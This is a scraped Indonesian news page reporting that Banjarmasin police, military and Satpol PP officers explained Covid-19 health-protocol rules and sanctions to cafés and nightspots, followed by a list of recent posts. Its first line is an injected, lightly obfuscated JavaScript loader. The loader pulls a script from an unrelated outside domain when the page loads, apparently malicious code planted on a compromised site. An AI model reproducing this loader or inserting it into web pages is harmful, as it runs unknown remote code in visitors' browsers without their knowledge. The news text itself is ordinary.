(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Perwali Protokol Kesehatan Segera Berlaku, Aparat Gabungan Datangi Café dan THM Â


KANALKALIMANTAN.COM, BANJARMASIN – Jelang pemberlakukan Perwali Nomor 60 tahun 2020 tentang pelaksanaan dan penegakan hukum protokol kesehatan Covid-19 di Banjarmasin, Polresta Banjarmasin bersama personel BKO Polda Kalsel, Kodim 1007/Banjarmasin dan Satpol PP Kota Banjarmasin menyosialisasikan aturan dan sanksi di café dan tempat hiburan malam, Sabtu (29/8/2020) malam.

Giat personel gabungan ini mendatangi tempat hiburan malam dan cafe-cafe di lima kecamatan di kota Seribu Sungai. Personel juga membagikan dan menempelkan pamplet berisi sanksi mulai dari teguran tertulis atau lisan hingga denda administratif Rp 100 ribu. Kegiatan langsung dipimpin Wakapolresta Banjarmasin AKBP Sabana Atmojo.

“Kita lakukan sosialisasi secara persuasif kepada para pengelola cafe atau tempat hiburan dan masyarakat, sebelum nantinya sanksi bagi para pelanggar diterapkan,” ucap Wakapolresta Banjarmasin.

Selain sosialisasikan aturan tersebut, tiga pilar kota Banjarmasin juga memberikan masker secara gratis sebanyak 250 lembar kepada masyarakat.

Polresta Banjarmasin bersama personel BKO Polda Kalsel, Kodim 1007/Banjarmasin dan Satpol PP Kota Banjarmasin menyosialisasikan aturan dan sanksi di café dan tempat hiburan malam. foto: humas polresta banjarmasin

“Dari hasil giat, sudah sangat jarang masyarakat ditemui tidak menggunakan masker dan mereka mulai memahami, mengerti serta mempedomani akan pentingnya protokol kesehatan,” ujarnya.

Wakapolresta Banjarmasin menuturkan, apa yang dilakukan pihaknya bersama personel gabungan merupakan tindak lanjut dari atensi Kapolda Kalsel Irjen Pol Dr Nico Afinta untuk sosialisasi aturan secara masif kepada masyarakat.

“Kita ingin seiring sejalan, dengan dukung dari masyarakat mempedomani dan menerapkan protokol kesehatan,” tutur Wakapolresta Banjarmasin. (kanalkalimantan.com/fikri)


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.